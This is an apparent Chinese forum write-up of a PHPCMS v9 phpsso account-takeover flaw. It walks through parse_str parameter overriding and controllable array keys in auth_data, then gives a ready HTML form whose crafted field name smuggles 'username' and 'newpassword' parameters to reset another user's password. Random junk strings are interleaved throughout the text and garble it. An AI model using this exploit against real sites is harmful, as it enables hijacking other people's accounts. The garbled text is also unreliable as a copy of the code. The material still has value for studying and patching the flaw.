提到的通行证的代码:5 x: h& a* w- l$ m1 p" ~
7 R: ]: p7 P$ }
) ?, j3 i( v% C* sparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
8 L. t! s, {: Q# c7 U2 ^
' ]* x) j2 Q, K在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。0 k9 B& C+ \3 s* K3 {* u1 H. \9 |
7 {2 K+ M, t% v I
我把它留给了你们。
# ^ C$ M. Q$ X8 J不知道你们发现了它没有。4 B! ^3 T/ b4 b9 w8 L1 x2 i: U3 D G
x [( y% {# |' [: z
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
# ^" z4 m J3 |4 t# y
$ R9 b k) P0 a, z! H: Z! T/ J所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。0 A, x4 ~0 \5 D& \9 B b, K- K
1 I' E& f1 c1 Y6 @2 Q
也就是1 Z' y# q1 E+ j9 x4 f3 {
) }/ w& m9 l8 ousername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( w) t0 J0 w* j0 X$ @) c' z
) t. Q6 i& K# d4 T: l$ K7 _要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
2 T3 H4 z0 m! u' k+ A. z1 C: z
: M+ j; w: U( |: `3 E" [* q4 g
- v" r7 M% Q+ [+ T/ }; d6 ?其实我们有这样的机会,看看代码,如下:/ q% U1 u, ~8 l& L2 @
0 ~" X( ~3 w, u; f+ B
c5 R# p1 o8 N. i+ E. @6 I9 p$ C
public function auth_data($data) {# u7 J1 g$ e) d$ K4 I- |
$s = $sep = '';- p6 a& W$ B5 C h5 c" \. o5 i
foreach($data as $k => $v) {
, M9 G! d% W! y& \4 Q1 z if(is_array($v)) {
$ C$ E3 w% G4 k+ N$ d6 ] $s2 = $sep2 = '';
6 b- Z7 i ^- i4 `: Z: P* [ foreach($v as $k2 => $v2) {
( p6 R) C# r2 E $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 X; y1 O" j9 [& @
$sep2 = '&';
- D8 a; j$ I7 J; s* A }- q* g& {% x& F4 \% j) `4 M
$s .= $sep.$s2;8 r' ?* Y; e- \/ c( d
} else {
* M, L5 m7 E' ], _ $s .= "$sep$k=".$this->_ps_stripslashes($v);
7 B% X: f1 U/ G! u }9 E3 S. D- r5 R( v- t( i9 Y1 i
$sep = '&';
7 m0 M7 X p; r. }9 l# ^$ N* D. Q3 L }
8 l) f1 r# Q6 _3 w: b; b7 j0 U9 K% F6 w2 u; l( Z3 X4 B3 O
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));6 Y' }; h- w7 c! h% Q) Y+ G" v
return $auth_s;
' ~& F$ ]) |( _" |" `* X: f }) K6 e$ E3 \/ X, \9 R
0 U8 W9 |; A4 a5 Y$ _ H' i可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
& Y/ \/ Q! @" Y7 O4 C5 Y2 a+ o& d9 u! f1 d# H% t" ~# M
举个例子
( b9 x( S# a. ~4 u. C1 h# u& Z4 B" }: a/ N
$a[aaa=a&bbb] = 'a';( P2 C. y. |- {: l
% \9 }' K* f8 s* y' M会变成aaa=a&bbb=a
9 q7 o$ p0 p' y: N0 ?+ u! ?
9 @- D) T$ q0 i+ W* x) m# t明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。3 _5 x9 F6 W/ b, }. H! O4 @
% P4 `( a% M# ~' d. i6 b
这个时候,我们可以再去看一个函数。9 C- K! n4 y$ A- q# Y9 @
: i# u' g+ O) t& p, p* Q- y
就在这个文件内:, `5 ~+ B) h% j
. Y% _+ O$ y. N. j- j; |! b) r5 |" k/ o* z& S0 D" K) p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
: h) }) O6 r+ I1 A0 S/ O if($email && !$this->_is_email($email)) { X' Y' E7 p2 @) \" a% U
return -4;7 V- P% Z( D9 u8 M, _# Z
}- i: z+ d# y* Z# T5 d
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random)); a) d+ ?& k; W0 |
}' n3 w2 l L! R v9 ]! [# n
- n) C- p/ v7 @# h这是向通行证发了这样一个请求。2 ` {1 i6 ^4 ~/ a z; [' O* X
5 S/ y1 K& ^) Q; E我们再跟到通信证代码里去看看,就会有所发现。
$ e8 M; J# G1 v4 W& F4 o+ W2 R) b, L: k) @1 n& s3 k1 x! q
4 n+ ]! S. c4 h( d5 h
public function edit() {! e: G" Z) W2 t: v+ s5 L
//能省就省,太长了不是吗?
& j% v+ r! e# }& c
+ A. x0 d7 w& g5 n5 B& G3 H% Lif($this->username) {
: S& h4 l* m, G3 [( a5 V* v//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" A' J% V0 \6 C $res = $this->db->update($data, array('username'=>$this->username));
) ]- }2 k7 m' X# I2 i# ?$ I } else {
, K! _8 e. w5 Q' g file_put_contents('typeb.txt',print_r($data,1).$this->uid);
+ @- E/ w+ h( \2 o! y $res = $this->db->update($data, array('uid'=>$this->uid));
/ z* O4 T2 o* C% W/ e }' D \1 \1 t" {
$ i5 q# G# G; i& t( C5 K- ^# t: w好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:, B+ N* Z1 }( g/ E& M% U- B
Q$ y" I% e2 k9 O Epublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 o1 H0 g/ L& f7 @7 G9 P
3 M1 o8 C2 z4 E6 Z; t8 l很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: F" V% J) R1 }4 m* R
# A* m; r. |; J) L# v0 ?& C
我当然找到了:6 f/ B! e7 o5 ~1 Y0 i. M
phpcms9/phpcms/modules/member/index.php
! G' v, v: Z7 g. [$ |: m, z; R5 s
0 K, Z) u; k; F4 [7 P% u& j1 F( K$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);- ]* o! A4 v2 C" Y5 m
V" |0 r7 d0 ~然后就没有然后了。- A: n: f7 E! r2 S
0 X2 H+ B' v) Y9 R+ x! P
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">2 Y0 E- z+ A' r$ b
<table width="100%" cellspacing="0" class="table_form">: y! P- ? {) u0 [
<tr>9 N# v- A' h) Y; U3 o c8 H
<th width="80">邮箱:</th>
, l+ U3 F3 c. w5 f <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) Z# U" K* |$ x" x. O" F
</tr>
, P% y8 j( x0 \& p1 Z <tr>
0 Q6 k& X+ l4 z# z5 g( @ <th width="80">原密码:</th> ( ~3 X: _- e. y: N3 Y- _7 ], Z2 `9 C
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 }: \! c# q" R" g6 R
</tr>0 l& }! ?' o1 F4 ~
<tr>( F+ {9 }, f# X- M {; {
<th>新密码:</th>
1 Q( y2 S* l% j0 u <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>$ v! h( L( s; F- O
</tr>
& D$ v( V% h, J/ [# { <th></th>6 s* I) L8 N% V- B0 y2 Y5 E% m2 t
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 |. R- e* u. S# L' B, T x5 M* j </tr>
9 I" p9 I. m+ y2 E </table>
, e! O- d: [( k3 ^6 x2 l4 E% l a6 ^- x$ V. }' j/ b+ M3 _
% Z( N5 w& E: F5 c% T </form>- X- J( G* b; l3 B( o
|